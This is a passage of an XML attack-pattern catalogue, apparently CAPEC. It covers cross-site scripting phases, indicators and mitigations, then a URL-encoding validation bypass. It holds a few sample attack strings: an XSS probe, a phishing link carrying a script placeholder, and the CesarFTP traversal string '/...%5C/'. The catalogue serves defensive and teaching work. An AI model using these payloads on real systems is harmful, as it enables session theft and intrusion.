											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe identified potential entry points
											for XSS vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												common script payloads to determine if an entry
												point actually represents a vulnerability and to
												characterize the extent to which the vulnerability
												can be exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a list of XSS probe strings to inject
												script in parameters of known URLs. If possible,
												the probe strings contain a unique
												identifier.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of XSS probes in known URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a list of XSS probe strings to inject
												script into UI entry fields. If possible, the
												probe strings contain a unique identifier.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use a list of XSS probe strings to inject
												script into resources accessed by the application.
												If possible, the probe strings contain a unique
												identifier.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The output of pages includes some form of a
												URL parameter. E.g.,
												?error="&lt;foobar&gt;'(){};=" becomes
												"&lt;foobar&gt;'(){}=" in the title of the web
												page.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Input content becomes part of the web
												page.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Nothing is returned to the web page. It may
												be a stored XSS. The unique identifier from the
												probe helps to trace the flow of the possible
												XSS.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's cross-site
												scripting string is repeated back verbatim at some
												point in the web site (if not on the same page).
												Note that sometimes, the payload might be well
												encoded in the page, but wouldn't be encoded at
												all in some other section of the same web page
												(title, script, etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All HTML-sensitive characters
												are consistently re-encoded before being sent to
												the web browser.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are
												not.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers (not only GET, but all potential inputs),
												application servers, and other HTTP infrastructure
												(e.g., load balancers). Alert on standard XSS
												probes. The majority of attackers use well known
												strings to check for vulnerabilities. Use the same
												vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target client software must be a client that allows scripting
						communication from remote hosts, such as a Javascript-enabled Web
						Browser</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Classic phishing attacks lure users to click on content that appears
							trustworthy, such as logos, and links that seem to go to their trusted
							financial institutions and online auction sites. But instead the
							attacker appends malicious scripts into the otherwise innocent appearing
							resources. The HTML source for a standard phishing attack looks like
							this</Text>
						<Text>&lt;a
							href="www.exampletrustedsite.com?Name=&lt;script&gt;maliciousscript&lt;/script&gt;"&gt;Trusted
							Site&lt;/a&gt;</Text>
						<Text>When the user clicks the link, the appended script also executes on
							the local user's machine.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To achieve a redirection and use of less trusted source, an attacker
							can simply place a script in bulletin board, blog, wiki, or other
							user-generated content site that are echoed back to other client
							machines.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting a client side vulnerability to inject malicious scripts
							into the browser's executable process.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to deploy a custom hostile service for access by targeted clients.
					Ability to communicate synchronously or asynchronously with client
					machine</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Server side developers should not proxy content via XHR or other
						means, if a http proxy for remote content is setup on the server side, the
						client's browser has no way of discerning where the data is originating
						from.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Session tokens for specific host</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard content (containing scripts) that
					is sent to the user's machine, for example HTML page containing
					Javascript.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. Malicious script payload may be
					appended to end of legitimate looking link</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client browser, its component libraries, and client network (e..g
					Intranet)</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute scripts to launch attacks on remote client
						machine and environment. Intranet and local systems may not be patched to
						the same degree as "externally" facing systems, so simple attacks may
						identify more victims on an "internal" system such as a corporate
						Intranet</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>113<!--Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>350<!--Improperly Trusted Reverse DNS--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store'--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>242<!--Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>341<!--WASC Threat Classification 2.0 - WASC-08 - Cross-Site Scripting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>J2EE</Framework>
					<Framework>.NET</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>JSP</Language>
					<Language>Java</Language>
					<Language>ASP.NET</Language>
					<Language>ASP</Language>
					<Language>PHP</Language>
					<Language>AJAX</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="64"
			Name="Using Slashes and URL Encoding Combined to Bypass Validation Logic"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the encoding of the URL combined with the encoding of
						the slash characters. An attacker can take advantage of the multiple way of
						encoding an URL and abuse the interpretation of the URL. An URL may contain
						special character that need special syntax handling in order to be
						interpreted. Special characters are represented using a percentage character
						followed by two digits representing the octet code of the original character
						(%HEX-CODE). For instance US-ASCII space character would be represented with
						%20. This is often referred as escaped ending or percent-encoding. Since the
						server decodes the URL from the requests, it may restrict the access to some
						URL paths by validating and filtering out the URL requests it received. An
						attacker will try to craft an URL with a sequence of special characters
						which once interpreted by the server will be equivalent to a forbidden URL.
						It can be difficult to protect against this attack since the URL can contain
						other format of encoding such as UTF-8 encoding, Unicode-encoding,
						etc.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker accesses the server using a specific
												URL.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker tries to encode some special
												characters in the URL. The attacker find out that
												some characters are not filtered properly.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker crafts a malicious URL string request
												and sends it to the server.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The server decodes and interprets the URL string.
												Unfortunately since the input filtering is not done
												properly, the special characters have harmful
												consequences.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application accepts and decodes URL string request.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The application performs insufficient filtering/canonicalization on the
						URLs.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attack Example: Combined Encodings CesarFTP</Text>
						<Text>Alexandre Cesari released a freeware FTP server for Windows that fails
							to provide proper filtering against multiple encoding. The FTP server,
							CesarFTP, included a Web server component that could be attacked with a
							combination of the triple-dot and URL encoding attacks.</Text>
						<Text>An attacker could provide a URL that included a string like</Text>
						<Block>
							<Code>/...%5C/</Code>
						</Block>
						<Text>This is an interesting exploit because it involves an aggregation of
							several tricks—the escape character, URL encoding, and the triple
							dot.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2001-1335</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can try special characters in the URL and bypass the URL
							validation.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker may write a script to defeat the input filtering
							mechanism.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can manually inject special characters in the URL string
							request and observe the results of the request.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Custom scripts can also be used. For example, a good script for
							verifying the correct interpretation of UTF-8 encoded characters can be
							found at
							http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Automated tools such as fuzzer can be used to test the URL decoding
							and filtering.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>If the first decoding process has left some invalid or blacklisted
							characters, that may be a sign that the request is malicious.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Traffic filtering with IDS (or proxy) can detect requests with
							suspicious URLs. IDS may use signature based identification to reveal
							such URL based attacks.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Sometime the percent escaping can be used to obfuscate the attack
							itself.</Text>
					</Description>
				</Obfuscation_Technique>
				<Obfuscation_Technique>
					<Description>
						<Text>Alternative method of data encoding can be used.</Text>
					</Description>
				</Obfuscation_Technique>
				<Obfuscation_Technique>
					<Description>
